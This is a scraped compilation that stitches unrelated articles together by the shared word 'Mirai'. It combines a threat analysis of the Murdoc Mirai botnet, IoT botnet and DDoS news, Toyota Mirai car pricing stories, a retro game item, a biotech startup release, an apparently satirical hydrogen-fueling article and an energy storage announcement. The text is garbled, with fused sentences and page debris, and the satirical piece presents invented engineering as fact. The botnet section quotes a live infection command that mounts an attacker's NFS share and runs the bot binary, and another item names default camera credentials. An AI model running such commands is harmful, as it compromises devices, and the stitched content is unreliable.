The Qualys Threat Research Unit has uncovered a large-scale ongoing operation within the Mirai campaign This variant exploits vulnerabilities targeting AVTECH Cameras and Huawei HG532 routers exploiting vulnerabilities to compromise devices and establish expansive botnet networks we will explore Murdoc Botnet’s propagation methods and attack vectors In this latest campaign we note the utilization of ELF file and Shell Script execution which leads to the deployment of the botnet sample This technique was already seen in 2024 when the attackers exploited the same vulnerabilities to load their malware payload on the targeted devices The diagram above conveys the percentage of increased and decreased attacks per month relative to the previous month the Qualys Threat Research team uncovered evidence of an ongoing live campaign for Mirai we discovered that around 1300+ IPs were  found active on this campaign The Qualys Threat Research Team uncovered the presence of 100+ distinct sets of servers each tasked with deciphering its activities and establishing communication with one of the compromised IPs implicated in this ongoing campaign These servers facilitated the distribution of Mirai malware The above-mentioned figure shows the complete details of identified command-and-control servers with respective payload content to the final URL Mirai malware, here dubbed as Murdoc Botnet, is a prominent malware family for *nix systems. It mainly targets vulnerable AVTECH and Huawei devices. This botnet also uses some existing exploits (CVE-2024-7029, CVE-2017-17215) to download the next-stage payloads            cd /tmp; mkdir skid; mount -o intr,nolock,tcp,exec 45.148.121.58:/root/static skid; cd skid; ./meow.arm5 avtech; The payload indicates that it is targeting AVTECH cameras we can see the embedded command line injection for the AVTECH camera We discovered 500+ samples containing ELF files and ShellScript files Each ShellScript is loaded onto devices such as IP cameras the C2 server loads the new variant of Mirai botnet We have analyzed several samples; all use the same mechanism as the infection flow                     the malware shell script uses GTFOBins and does the following: Upon a thorough examination of the IP addresses associated with the campaign activity the Qualys Threat Research Team unveiled the geographical distribution of affected countries with Malaysia occupying the foremost position Qualys EDR detects the Murdoc Botnet Mirai malware variant Our research initially started with the discovery and analysis of Murdoc Botnet binaries used for DDOS activities we were able to attribute Murdoc Botnet as a Mirai variant We recommend the following measures for enterprise users and administrators to identify and protect against such attacks: We have found 300+ x86 samples and 40+ x86_64 samples and website in this browser for the next time I comment Δdocument.getElementById( "ak_js_1" ).setAttribute( "value" ShareSaveCommentLifestyleCars & BikesAt $17,000, Few New Car Prices Are Lower Than A Toyota MiraiByPeter Lyon Forbes contributors publish independent expert analyses and insights Peter Lyon is based in Tokyo and writes about the car industry.Follow AuthorJan 28 11:57am ESTShareSaveCommentThe Toyota Mirai is now the cheapest new car in the U.S (Photo by YOSHIKAZU TSUNO/Gamma-Rapho via .. If you’re a resident of Southern California That makes it the cheapest new car in the U.S. with the next cheapest being the Nissan Versa Sedan at $17,190 and did we mention that Toyota is also offering $15,000 of free fuel And that folks is the bargain of the year, albeit ‘conditional,’ because the Mirai is a rather good electric car that offers Lexus-level luxury and excellent ride quality and performance I say ‘conditional’ because it’s powered by hydrogen which is hard to come by if you don’t live in the southern sections of California where the lion’s share of hydrogen stations are situated Car and Driver reported in 2021 that “The Mirai is a handsome but its goodness is trapped in California—and may always be.” Unfortunately that is spot on The 5-seat Mirai costs just $17,005 after a 70% discount Toyota seems to have the fuel aspect covered too as it’s offering customers $15,000 of free hydrogen over the next six years a fee that if subtracted from the $17,005 means that you effectively get the car for $2,005 there were only 54 hydrogen refueling stations in the U.S Toyota says that the Mirai XLE grade boasts a range of 402 miles and delivers 72 miles per kilogram of hydrogen which means this fuel credit translates to over 30,000 free miles That’s even if we factor in the fuel’s peak price of $34.55/kg which California endured last October Electricity generated from the onboard hydrogen is channeled to a 182-hp electric motor that feels energetic around around town especially when you consider the car weighs around 4300 lbs So why didn’t the Mirai sell as well as Toyota had expected Hydrogen supply disruptions have affected fuel-cell car sales in recent years in contrast to hydrogen infrastructure strengthening for commercial trucks and industry The infrastructure issue in addition to a challenging hydrogen supply situation has contributed to poor Mirai sales Toyota tells us that it sold just 499 Mirais in 2024 significantly down from 2,737 units in 2023 And while these models cost a little north of $50,000 and $60,000 respectively we can expect the Mirai’s price reduction to put pressure on the other carmakers to follow suit Login | Sign Up Time Extension Guest Sein Soft's 1986 sci-fi shooter Mirai has been announced as the next classic Japanese computer game coming to the Nintendo Switch as part of D4 Enterprise's ongoing EGGCONSOLE series of retro reissues According to the company's website, the PC-88 version of the game will arrive on the Nintendo eShop on May 1st (this Thursday), marking the first time it has been reissued on a home console, to our knowledge. As far as we're aware, the game was previously only available for PC-88, PC-98, Sharp X-1, and Windows computers via Project EGG Mirai takes place in a distant feature where human life has been wiped out and humans have been forced to migrate to space Players take control of a mysterious soldier who has been tasked with exploring the "Reinbow Nebula" — an area of space comprised of six distinct planets ruled by a single Zainsoft's Dios was one of two games released for the PC-8801MC CD-ROM drive [source amusement-center.com] Prev Next Jack has a particular fondness for point-and-click adventure games he’s written about lost games from studios like Sony Manchester and has made a habit of debunking video game rumours Hold on there, you need to login to post a comment.. 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Show More © 2025 Hookshot Media, partner of IGN Entertainment | Hosted by 44 Bytes | AdChoices | Do Not Sell My Personal Information open platform unlocks delivery to any tissue and cell type through rapid iterative learning of in vivo tested chemistries Co-optimization of cargo design and manufacturing ensure the best possible medicine and manufacturing strategy for each new program Company emerges with an initial commitment of $50 million from Flagship Pioneering a company pioneering the first open end-to-end platform for the biotech industry to enable the co-creation of fully optimized genetic medicines open platform uses proprietary data algorithms and machine intelligence to unlock delivery to any tissue and cell type accelerating genetic medicines toward successful clinical translation for the company's partners Mirai plans to further advance its platform with Flagship's initial commitment of $50 million aiming to enhance and accelerate genetic medicine development across a wide range of therapeutic areas and modalities "We are in the age of information molecules yet enormous technological challenges in the delivery and manufacturing of these molecules have hindered the speedy and full realization of their potential," said Hari Pujar Founding President of Mirai and Operating Partner at Flagship Pioneering "We created Mirai to solve these key limitations through AI trained on high quantities of quality in vivo data By applying machine intelligence to the design of every atom within the medicine and opening this platform to the entire industry we will have vast collective data points rolling through our optimization loops allowing a greater innovation advantage to benefit each partner on the Mirai platform." Mirai's cutting-edge platform is enabled by high throughput automation and in vivo multiplexing generating vast amounts of data that fuel extensive optimization loops and manufacturing has the potential to enable a higher probability of success and a faster development timeline for any genetic medicine Executive Chair at Mirai and Growth Partner "Every new company with a payload idea faces the same challenge of either internally building high-quality Leveraging learnings from semiconductors as a centralized resource model that fueled the rapid advancement of tech we've developed a solution that's been hiding in plain sight: an open platform to unlock genetic medicine development Through aggressive investment in our own capabilities and expertise and by creating long-term partnerships with biotech and pharma leaders in the space Mirai's hope is to become the partner of choice and help bring more medicines into the world than we would ever achieve alone." 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Health Care & Hospitals Biotechnology Medical Pharmaceuticals New Products & Services Do not sell or share my personal information: Web infrastructure and security company Cloudflare on Tuesday said it detected and blocked a 5.6 Terabit per second (Tbps) distributed denial-of-service (DDoS) attack the largest ever attack to be reported to date The UDP protocol-based attack took place on October 29, 2024, targeting one of its customers, an unnamed internet service provider (ISP) from Eastern Asia. The activity originated from a Mirai-variant botnet "The attack lasted only 80 seconds and originated from over 13,000 IoT devices," Cloudflare's Omer Yoachimik and Jorge Pacheco said in a report the average unique source IP address observed per second was 5,500 with the average contribution of each IP address per second around 1 Gbps The previous record for the largest volumetric DDoS assault was also reported by Cloudflare in October 2024 Cloudflare also revealed it blocked approximately 21.3 million DDoS attacks in 2024 and that the amount of attacks exceeding 1 Tbps grew by 1,885% quarter-over-quarter as many as 6.9 million DDoS attacks were mitigated Some of the other notable statistics observed during Q4 2024 are listed below - The development comes as cybersecurity companies Qualys and Trend Micro revealed that offshoots of the notorious Mirai botnet malware are targeting Internet of Things (IoT) devices by exploiting known security flaws and weak credentials to use them as conduits for DDoS attacks and SOC security to respond quicker and stop breaches early AI agents boost business—but create risks and strategies from industry leaders – all for free The botnet has been involved in DDoS activity targeting telecom companies and gaming platforms Researchers from Nokia Deepfield said they communicated their findings to other researchers and noted the firms have slight variations in how they calculate their Eleven11bot estimates “The 30K count is directly derived from attack data enriched with our active crawling (for which we see the specific device characteristics for every IP on the internet),” Jerome Meyer The previous estimates of tens of thousands of devices was based on normal HiSilicon device signature traffic being misidentified as botnet activity GreyNoise analyzed a list of about 1,400 IPs provided by researchers at Censys GreyNoise said 1,042 were engaged in exploitation and scanning Researchers said these were primarily connected to embedded systems that are usually not involved in outbound internet communications GreyNoise based its revised estimates in part on a May 2024 security advisory about a critical vulnerability in NVMS9000 The company said its revised estimates are based on figures for deployed hardware but conceded the actual totals could be higher Get the free daily newsletter read by industry experts The agency is cracking down on the use of prohibited technologies following a series of hacks into US telecommunications firms The Cybersecurity Information Sharing Act of 2015 Subscribe to Cybersecurity Dive for top news The free newsletter covering the top industry headlines The Toyota Mirai has always been something of a curiosity as it’s a luxurious fuel cell sedan it’s getting a little less glamorous as the company is dropping the range-topping Limited trim for 2025 Toyota didn’t give an explanation for the change but the model will now be offered exclusively in XLE guise it’s not all bad news as the company decided to throw in some additional standard equipment to keep customers happy More: Toyota’s Third-Gen Fuel Cell Is Cheaper And 20% More Efficient there isn’t much to get excited about as extras include heated exterior mirrors Customers will also find front footwell illumination as well as front and rear parking assist with automatic braking Besides the aforementioned items, the Mirai comes equipped with LED lighting units and 19-inch aluminum wheels They’re joined by heated SofTex front seats The Toyota Safety Sense 3.0 suite of driver assistance systems is standard and includes Full-Speed Range Dynamic Radar Cruise Control and Lane Departure Alert with Steering Assist a Pre-Collision System with Pedestrian Detection and a Blind Spot Monitor with Rear Cross-Traffic Alert The Mirai rides on the GA-L platform and features three hydrogen storage tanks and a 182 hp (136 kW / 185 PS) electric motor that powers the rear wheels Thanks to this combination of science and witchcraft the car can accelerate from 0-60 mph (0-96 km/h) in 9.2 seconds and travel an EPA estimated 402 miles (647 km) between fill ups Pricing starts at $51,795 before a $1,095 destination fee That’s an increase of $1,605 but it can largely be explained by the extra equipment The Mirai is available exclusively in California and customers will get $15,000 worth of complimentary hydrogen fuel The model also comes with an eight-year/100,000-mile warranty on key fuel cell components as well as a “complimentary rental experience.” The latter provides owners with up to 21 days of a rental car which can be used to travel to areas where hydrogen refueling infrastructure is non-existent Toyota Offers Unprecedented Discounts on Hydrogen-Powered Mirai in California Toyota has made waves in the automotive industry by introducing one of the most significant price reductions in recent history for its hydrogen-powered Mirai are being offered at record-breaking discounts in California making this innovative vehicle more accessible than ever before prospective buyers must navigate the challenges posed by limited refueling infrastructure and the high cost of hydrogen fuel In an effort to accelerate the adoption of hydrogen-powered vehicles Toyota has slashed the prices of its 2024 Mirai models by up to 70% while the Limited trim has dropped from $67,115 to $24,115 These jaw-dropping reductions are paired with additional incentives including $15,000 worth of free hydrogen fuel and 0% financing for up to six years Here’s a breakdown of the pricing for the Toyota Mirai in California: the Mirai XLE becomes the cheapest new car in the U.S. This bold move from Toyota is designed to make hydrogen fuel cell vehicles more competitive in a market dominated by electric vehicles The Toyota Mirai operates on hydrogen fuel cell technology which uses hydrogen to generate electricity offering a clean and efficient driving experience Emissions from the vehicle are limited to only water vapor and oxygen making it an environmentally-friendly option for eco-conscious consumers Key specifications for the 2024 Toyota Mirai include: In addition to its eco-friendly advantages the Mirai offers a quiet ride and the convenience of rapid refueling taking just a few minutes to fill up at a hydrogen station This makes it a practical alternative for long trips particularly for drivers in areas where refueling infrastructure is robust Despite the attractive pricing and advanced technology there are significant hurdles that could deter potential buyers The main challenge remains the limited availability of hydrogen refueling stations there are only about 50 hydrogen refueling stations most of which are concentrated in Southern California This limited infrastructure makes it difficult for owners in other parts of the state to enjoy the convenience of a hydrogen-powered vehicle the cost of hydrogen fuel in California is relatively high which could add up quickly once the free fuel incentive expires Although Toyota offers a generous five-year fuel package owners will eventually face out-of-pocket costs which could dampen the long-term appeal of the Mirai Sales of hydrogen-powered vehicles have seen a significant decline in recent years with only 441 units of the Toyota Mirai sold in the first nine months of 2024 a staggering 84.2% drop compared to the same period in 2023 This decline has been partly attributed to a shortage of hydrogen fuel in California which left many refueling stations out of service for months in 2023-24 Toyota remains committed to hydrogen technology has emphasized the importance of hydrogen innovation citing collaborations with automakers like BMW to advance hydrogen-powered vehicles the Toyota Mirai’s current offer represents an extraordinary deal The combination of steep discounts and free fuel incentives makes it an enticing option for those looking to adopt hydrogen fuel cell technology the limited refueling infrastructure and high fuel costs beyond the free fuel period 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TransportToyota to scale back US offering for Mirai hydrogen-powered passenger car in 2025US customers will now only be able to buy XLE version An FBI-led operation to disrupt a China-linked botnet comes months after a similar operation in January linked to Volt Typhoon The botnet highlights an ongoing threat to U.S critical infrastructure by exploiting weaknesses in commonly used IoT devices The campaign used a Mirai malware variant to exploit these devices and target various critical infrastructure providers with DDoS attacks a threat intelligence arm of Lumen Technologies released a report Wednesday outlining much of the Flax Typhoon operations The Black Lotus Labs report said the botnet was developed to enable large-scale DDoS attacks and has evidence of possible exploitation attempts involving Ivanti Connect Secure appliances and Atlassian Confluence servers Federal authorities said the Flax Typhoon hackers operated through Integrity Technology Group The firm gave customers the ability to access an online application and login and control targeted devices “Now I view this as another successful disruption it is just one round in a much longer fight,” Wray said about the operation “The Chinese government is going to continue to target your organizations and our critical infrastructure either by their own hand or concealed through their proxies.” FBI officials outlined details of the takedown operation in an affidavit noting that a California-based firm reported threat activity that traced back to IP addresses associated with Flax Typhoon The hackers attempted to counter the FBI operation with a DDoS attack Federal authorities urged users to disable unused ports and services apply patches and security upgrades and replace equipment that has reached end of life status The disruption of the Flax Typhoon botnet follows another major operation by the FBI in January when the agency led the takedown of a botnet linked to Volt Typhoon Volt Typhoon is a state-linked threat group working to attack U.S critical infrastructure in order to sow fear and panic in connection with a potential military action in the Asia-Pacific region authorities warned during a congressional hearing in February Wray said the FBI will continue to work with its partners to identify such malicious activity and bring the actions out in the open Researchers at Microsoft in August 2023 observed Flax Typhoon targeting organizations in Taiwan and installing China Chopper malware. Microsoft researchers originally warned about malicious activities linked to Volt Typhoon in May 2023 The information security industry feared a lapse would lead to industrywide exposures of software vulnerabilities Researchers discovered a technique that allows threat actors to maintain read-only access to vulnerable FortiGate devices after they are patched Cybersecurity researchers have warned of a new large-scale campaign that exploits security flaws in AVTECH IP cameras and Huawei HG532 routers to rope the devices into a Mirai botnet variant dubbed Murdoc Botnet The ongoing activity "demonstrates enhanced capabilities, exploiting vulnerabilities to compromise devices and establish expansive botnet networks," Qualys security researcher Shilpesh Trivedi said in an analysis The campaign is known to be active since at least July 2024, with over 1,370 systems infected to date A majority of the infections have been located in Malaysia Evidence shows that the botnet leverages known security flaws such as CVE-2017-17215 and CVE-2024-7029 to gain initial access to the Internet of Things (IoT) devices and download the next stage payload by means of a shell script fetches the botnet malware and executes it depending on the CPU architecture The end goal of these attacks is to weaponize the botnet for carrying out distributed denial-of-service (DDoS) attacks details emerged about another large-scale DDoS attack campaign targeting major Japanese corporations and banks since the end of 2024 by making use of an IoT botnet formed by exploiting vulnerabilities and weak credentials Some of the other targets are concentrated around the U.S. The DDoS activity has been found to single out telecommunications Over 55% of the compromised devices are located in India "The botnet comprises malware variants derived from Mirai and BASHLITE," Trend Micro said "The botnet's commands include those that can incorporate various DDoS attack methods The attacks involve infiltrating IoT devices to deploy a loader malware that fetches the actual payload which then connects to a command-and-control (C2) server and awaits further instructions for DDoS attacks and other purposes it's advised to monitor suspicious processes and network traffic spawned by the execution of any untrusted binary/scripts It's also recommended to apply firmware updates and change the default username and password A new report from exposure management platform Censys has revealed that there are 221 Murdoc-infected hosts concentrated in Indonesia stating the reported number of more than 1,300 compromised devices is likely an overestimate "They include 'truncated' hosts and pseudoservices that respond on over 100+ open ports – behavior which exceeds reasonable standards and is likely not reflective of genuine hosts," Censys added An unpatched security flaw impacting the Edimax IC-7100 network camera is being exploited by threat actors to deliver Mirat botnet malware variants since at least May 2024 The vulnerability in question is CVE-2025-1316 (CVSS v4 score: 9.3) a critical operating system command injection flaw that an attacker could exploit to achieve remote code execution on susceptible devices by means of a specially crafted request Web infrastructure and security company Akamai said the earliest exploit attempt targeting the flaw dates back to May 2024, although a proof-of-concept (PoC) exploit has been publicly available since June 2023 "The exploit targets the /camera-cgi/admin/param.cgi endpoint in Edimax devices, and injects commands into the NTP_serverName option as part of the ipcamSource option of param.cgi," Akamai researchers Kyle Lefton and Larry Cashdollar said While weaponizing the endpoint requires authentication it has been found that the exploitation attempts are making use of default credentials (admin:1234) to obtain unauthorized access At least two different Mirai botnet variants have been identified as exploiting the vulnerability with one of them also incorporating anti-debugging functionality prior to running a shell script that retrieves the malware for different architectures The end goal of these campaigns is to corral the infected devices into a network capable of orchestrating distributed denial-of-service (DDoS) attacks against targets of interest over TCP and UDP protocols Furthermore, the botnets have been observed exploiting CVE-2024-7214, which affects TOTOLINK IoT devices, CVE-2021-36220 In an independent advisory published last week, Edimax said the CVE-2025-1316 affects legacy devices that are no longer actively supported and that it has no plans to provide a security patch since the model was discontinued over 10 years ago users are advised to either upgrade to a newer model or avoid exposing the device directly over the internet and monitor access logs for any signs of unusual activity "One of the most effective ways for cybercriminals to start assembling a botnet is to target poorly secured and outdated firmware on older devices," Akamai said "The legacy of Mirai continues to plague organizations worldwide as the propagation of Mirai malware–based botnets shows no signs of stopping With all sorts of freely available tutorials and source code (and with AI assistance) spinning up a botnet has become even easier." A Mirai botnet variant has been found exploiting a newly disclosed security flaw impacting Four-Faith industrial routers since early November 2024 with the goal of conducting distributed denial-of-service (DDoS) attacks The botnet maintains approximately 15,000 daily active IP addresses with the infections primarily scattered across China Exploiting an arsenal of over 20 known security vulnerabilities and weak Telnet credentials for initial access the malware is known to have been active since February 2024 The botnet has been dubbed "gayfemboy" in reference to the offensive term present in the source code QiAnXin XLab said it observed the malware leveraging a zero-day vulnerability in industrial routers manufactured by China-based Four-Faith to deliver the artifacts as early as November 9 The vulnerability in question is CVE-2024-12856 (CVSS score: 7.2) which refers to an operating system (OS) command injection bug affecting router models F3x24 and F3x36 by taking advantage of unchanged default credentials Late last month, VulnCheck told The Hacker News that the vulnerability has been exploited in the wild to drop reverse shells and a Mirai-like payload on compromised devices Some of the other security flaws exploited by the botnet to extend its reach and scale include CVE-2013-3307 the malware attempts to hide malicious processes and implements a Mirai-based command format to scan for vulnerable devices and launch DDoS attacks against targets of interest DDoS attacks leveraging the botnet have targeted hundreds of different entities on a daily basis with the activity scaling a new peak in October and November 2024 The disclosure comes weeks after Juniper Networks warned that Session Smart Router (SSR) products with default passwords are being targeted by malicious actors to drop the Mirai botnet malware Akamai has also revealed Mirai malware infections that weaponize a remote code execution flaw in DigiEver DVRs "DDoS has become one of the most common and destructive forms of cyber attacks," XLab researchers said and it can employ continuously evolving strategies and techniques to conduct precise strikes against various industries and systems posing a significant threat to enterprises The development also comes as threat actors are leveraging susceptible and misconfigured PHP servers (e.g., CVE-2024-4577) to deploy a cryptocurrency miner called PacketCrypt Two Mirai scientists evaluate the ability of an LNP to deliver genetic cargo to cells which has founded over 100 bioplatform companies during the BioProcess International Conference in Boston whose founding CEO is Geoffrey von Maltzahn features an open end-to-end platform to enable the co-creation of fully optimized genetic medicines founding president of Mirai and operating partner at Flagship Pioneering who spoke during a conference presentation In a statement released before his presentation Pujar noted that the life sciences are in “the age of information molecules enormous technological challenges in the delivery and manufacturing of these molecules have hindered the speedy and full realization of their potential.” “We created Mirai to solve these key limitations through AI trained on high quantities of quality in vivo data allowing a greater innovation advantage to benefit each partner on the Mirai platform.” open platform uses proprietary data algorithms to unlock delivery to any tissue and cell type accelerating genetic medicines toward successful clinical translation for the company’s partners adding that Mirai plans to further advance its platform with Flagship’s initial commitment of $50 million A Mirai scientist prepares cells to test cellular delivery of new LNP formulations developed using Mirai’s platform [Mirai]Mirai’s platform is enabled by high throughput automation and in vivo multiplexing while maintaining that the co-optimization of delivery Pujar was asked about the high financial costs of genetic medicines What could Mirai do to address the cost issue “One is we are transitioning from viral vectors to non-viral delivery Non-viral medicines are easier to manufacture and the process economics of non-viral medicines is decidedly more favorable compared to viral vectors.” “The second factor is ex vivo versus in vivo Some of the current genetic medicines are ex vivo converting the cells to other viral vectors bringing it back to the patient with a lot of exposure to plastic and freezing and thawing This bespoke manufacturing is laborious and expensive which is why the reach of these medicines has been limited.” “If you imagine in vivo therapy where an individual just gets an IV injection that would significantly reduce the cost of these medicines So those are the two approaches that we’re imagining that will bring down.” “Every new company with a payload idea faces the same challenge of either internally building high-quality which can be fragmented and suboptimal,” pointed out Travis Wilson executive chair at Mirai and growth partner “Leveraging learnings from semiconductors as a centralized resource model that fueled the rapid advancement of tech we’ve developed a solution that’s been hiding in plain sight: an open platform to unlock genetic medicine development Mirai’s hope is to become the partner of choice and help bring more medicines into the world than we would ever achieve alone.” Copyright © 2025 Sage Publications or its affiliates including those for text and data mining and training of large language models With journalists descending on Bangkok for the 46th annual Bangkok International Motor Show featuring the latest concept and production cars and motorcycles Toyoda Siam LLC (“TSL”) held an offsite invitation-only event for American editors of automotive and engineering publications on April 1 with an aggressive knock on the door at the 50-minute mark by some rather muscular and serious-looking hotel staff of time-enforcers As the humid, non-air-conditioned, 99°F room’s ceiling fans whirled, generating visible tip vortices from the thick cigarette smoke permeating the beam of the projector Singasong “Billy” Yordapyanoman welcoming everyone while dropping his first slide onto the projector Khun Billy’s slide presentation was titled “A Tesla NACS-based Toyota Mirai Hydrogen Fueling System.” “The origins of the shift from CCS to NACS can be traced back to the fall of 2022, when Tesla opened its then-proprietary standard to make the specification available to other EV manufacturers and its ability to support charge currents of up to 1,000 A The driving force behind its widespread adoption may have been the potential for other manufacturers’ cars to gain access to Tesla's extensive national network of NACS-compatible charging stations there are 54 open retail hydrogen stations in the United States there are over 20 stations in various stages of planning or construction.”—USDOE One of the Toyota Mirai FCEV’s (fuel-cell electric vehicle) biggest problems is the lack of fueling infrastructure. As a result, the car, despite incentives, has performed miserably in terms of sales, with only 17 cars sold in January 2025 While Toyota Japan and Toyota USA have struggled in lobbying to get hydrogen fuel infrastructure in place by hitting up the taxpayer Toyoda Siam took a completely different approach of problem-solving versus being a bunch of whiney babies lobbying governments worldwide to sell more fossil-fuels-based ICE (internal combustion engine) vehicles With a newly commissioned, NACS-capable site built in Sakon Nakhon Thailand at the town’s Vietnam-era military airfield that has dual-purpose commercial passenger service once or twice per day Khun Billy’s engineering team was able to augment the site with the necessary equipment that enabled fueling of their FCEV consisting of the water tank seen in Figure 1 Tesla allegedly agreed to TSL’s sorta-truth and a large distilled-water tank was installed near the charging pedestals The next step in prototyping the system was to procure plans for a set of “HHO hydrogen generators” (these are actually electrolyzers) to be built assembled prototype generators shown in Figure 2 Each “cell” was capable of producing 1 liter of hydrogen every 1.8 minutes at STP (standard temperature and pressure) with an electrical power input of 13 V at 10 A The Mirai fuel tank stores 5 kg (55,000 liters at STP) of hydrogen so 1,600 cells would be needed to provide sufficient hydrogen during one hour of fueling TSL’s researchers created a hydrolyzer (HHO generator) pack comprised of a “box” array of 22.5 × 16 × 4 HHO cells with the HHO “pack” dimensions being approximately 225 × 160 × 40 cm (~88.5 × 63 × 15.7480135 in.) The pack “box” would be arranged as 40s40p requiring 520 V at 400 A (208 kW) from the supercharger to fill an empty tank inside one hour With BEV charging times spec’d at 20% to 80% this meant that only a 60% fill would be needed requiring only 36 minutes for a 20/80 charge or lowering the minimum Supercharger output requirement to 520 V at 240 A (125 kW) for a one hour 20/80 charge for compatibility with older installations To avoid carrying excess weight, and to avoid lithium’s highly reactive hatred for water TSL’s researchers substituted the heavy stainless-steel plates used in YouTube and Etsy HHO generators with lithium plates that were passivated with gold via a CVD process in an abandoned semiconductor fab Further consideration for weight meant that the distilled water needed as a feedstock would not be carried in the Mirai but would rather use an onsite tank of distilled water—hence the “fire extinguisher” water tank in close proximity to the Tesla chargers A simple garden hose quick-connect was added inside the charge-port door “reserve” distilled water tank onboard which would permit range extension at Supercharger sites that were not equipped with distilled-water tanks Another problem faced by the team concerned the high-pressure storage needed for the hydrogen fuel tank since the HHO generators produced hydrogen at atmospheric pressures two-stage compressor also running off the electrical power being supplied through the NACS connector from the Supercharger Toyoda Siam LLC believes the FCEV now has a future in mobility—Toyota marketing no longer needing to greenwash the fact that 97% of hydrogen used by the Mirai FCEV today is produced by steam reforming methane...fracking-derived methane Now Toyota’s little FCEV can run directly from solar and wind renewables completely gutting methane as a fuel source The company’s multinational divisions are now in Zoom meetings in an effort to gain approval to rebadge the car from Mirai to Avril-1 (“April Fuels”) The Bangkok International Motor Show 2025 runs from Wednesday Andy Turudic is a Technology Editor for Electronic Design Magazine, primarily covering Analog and Mixed-Signal circuits and devices. He holds a Bachelor's in EE from the University of Windsor (Ontario Canada) and has been involved in electronics and Northern Telecom and brings publisher employment experience as a paperboy for The Oshawa Times After hours, when he's not working on the latest invention to add to his portfolio of 16 issued US patents, he's lending advice and experience to the electric vehicle conversion community from his mountain lair in the Pacific Northwet[sic] AndyT's engineering blog, "Nonlinearities," publishes the 1st and 3rd monday of each month. Andy's OpEd may appear at other times, with fair warning given by the Vu meter pic. TransportToyota reduces price of new hydrogen car in California to just over $15,000 — with $15,000 of free fuelThe Mirai XLE is now the cheapest new car in the US — following a sales slump attributed to high H2 fuel prices and widespread refuelling problems you might just be paying $15,000 for a headache XLEs also come with about $35,000 in Finance Subversion Cash Both these discounts represent $10,000 jumps Finance Subvention Cash is a rebate that's only available with promotional financing Odds are that most car buyers have never seen 0% APR plus a $43,000 discount on a car we think this could bring Mirai prices below $16,000  For those of you keeping track at home, that makes the Mirai the cheapest theoretical car in America. Right now, that honor goes to the Nissan Versa, which starts at $18,330, including destination. Here's more from Cars Direct: In the case of the higher-end Mirai Limited version and its $67,115 retail price This would bring the XLE to $15,190 and the Limited to a mere $24,115 Toyota's 0% financing deal also offers significant savings a 6-year loan at zero-percent APR would save nearly $11,400 before any rebates when compared to an interest rate of 7% since the Mirai FCEV is only sold in California only a small fraction of buyers will be able to take advantage of the deals I suppose to own such an oddity like the Mirai for just $15,000 is a solid deal but you've really got to ask yourself how much of a headache you're willing to deal with You'll also have to look outside and see whether or not you're in California The Toyota Mirai is a hydrogen-powered sedan that represents a possible glimpse into the future of clean transportation Boasting zero emissions and a design that focuses on sustainability the Mirai is reshaping how we think about eco-friendly driving But while the Mirai itself was designed to turn heads for its innovation a lawsuit means it's now making headlines in the courtroom instead of the showroom what is the lawsuit against the Toyota Mirai about The lawsuit alleges that Toyota and partner First Element Inc have monopolized the hydrogen fuel market and misrepresented the environmental impact of the Mirai The suit was filed in California by a group of Toyota Mirai owners and lessees in July 2024 Toyota isn't actually making clean hydrogen for use in the Mirai and is even keeping the fuel from reaching consumers The suit also alleges the Mirai pollutes the environment more than gas-powered cars and accuses Toyota of violating several acts: The Sherman Act which prohibits monopolies; the Cartwright Act which promotes fair competition; and the Magnuson-Moss Act The plaintiffs want a trial by jury and are seeking damages Several class action lawsuits have been brought against Toyota over the past few years for everything from engine defects in the Tundra to the Highland's rear liftgate issues Joining this list is the lawsuit over the hydrogen-powered Mirai which allegedly isn't as clean as it claims But what else does this lawsuit say about the car itself The Toyota Mirai doesn't perform in terms of range, getting far less than the advertised 357 miles for the top-of-the-line Mirai Limited and 402 miles for the XLE versions The real numbers are reportedly around 257 and 302 miles Drivers claim that the car isn't great as a daily driver Then there's the dramatic price increase of hydrogen fuel, which jumped from $13 per kilogram in 2022 to around $36 per kilogram just two years later. The plaintiffs claim that all of these problems together have drastically affected the Mirai's resale value, which dips below 20% after only five years on the road Juniper Networks is warning that Session Smart Router (SSR) products with default passwords are being targeted as part of a malicious campaign that deploys the Mirai botnet malware The company said it's issuing the advisory after "several customers" reported anomalous behavior on their Session Smart Network (SSN) platforms on December 11 "These systems have been infected with the Mirai malware and were subsequently used as a DDoS attack source to other devices accessible by their network," it said "The impacted systems were all using default passwords." Mirai which has had its source code leaked in 2016 has spawned several variants over the years The malware is capable of scanning for known vulnerabilities as well as default credentials to infiltrate devices and enlist them into a botnet for mounting distributed denial-of-service (DDoS) attacks organizations are recommended to change their passwords with immediate effect to strong periodically audit access logs for signs of suspicious activity use firewalls to block unauthorized access Some of the indicators associated with Mirai attacks include unusual port scanning frequent SSH login attempts indicating brute-force attacks increased outbound traffic volume to unexpected IP addresses and connections from known malicious IP addresses the only certain way of stopping the threat is by reimaging the system as it cannot be determined exactly what might have been changed or obtained from the device," the company said The development comes as the AhnLab Security Intelligence Center (ASEC) revealed that poorly managed Linux servers particularly publicly exposed SSH services are being targeted by a previously undocumented DDoS malware family dubbed cShell "cShell is developed in the Go language and is characterized by exploiting Linux tools called screen and hping3 to perform DDoS attacks," ASEC said In a new report published on December 19, 2024, Akamai revealed that a remote code execution vulnerability in DigiEver DS-2105 Pro DVRs (no CVE) is being exploited by attackers to spread a variant of the Mirai botnet dubbed "Hail Cock" since at least October 2024 The botnet is estimated to have been active a month prior to the activity The vulnerability in question has been described as a post-auth arbitrary file write that works in combination with DVRs that have weak passwords The malware installed on the devices subsequently proceeds to carry out Telnet and SSH brute-force attacks to broaden the size of the botnet Akamai told The Hacker News that it has not heard from the vendor yet to know if the DigiEver vulnerability has been patched the campaign has been observed targeting other known vulnerabilities - "Cybercriminals have consistently leveraged the legacy of the Mirai malware to perpetuate botnet campaigns for years, and the new Hail Cock botnet is no exception," Akamai researchers Kyle Lefton, Daniel Messing, and Larry Cashdollar said "One of the easiest methods for threat actors to compromise new hosts is to target outdated firmware or retired hardware." Hardware manufacturers do not always issue patches for retired devices and the manufacturer itself may sometimes be defunct." Development partnership covers up to 1GW of large-scale energy storage projects ZURICH/MUNICH — Global energy storage owner-operatorBW ESS and Munich-based energy storage developer MIRAI Power have signed a joint development agreement setting out plans to co-develop up to 1GW of energy storage projects in Southern Germany Germany is rising to prominence as a growth hotspot for large-scale battery energy storage systems (BESS) in Europe, as the power market seeks to effectively integrate large volumes of renewable energy capacity, while managing negative pricing and curtailment risks. Germany is both Europe’s largest power market and its most liquid one. Around 7GWh of new storage is expected to be added by 2026 – a five-fold increase in capacity[1].  MIRAI Power is a pioneering BESS developer focused on the European market led by a team with an extensive track record at leading renewable power development firms and utilities Coupling this with BW ESS’ experience of rapidly scaling energy storage pipelines across a range of other global markets as well as its proven supply chain and investment 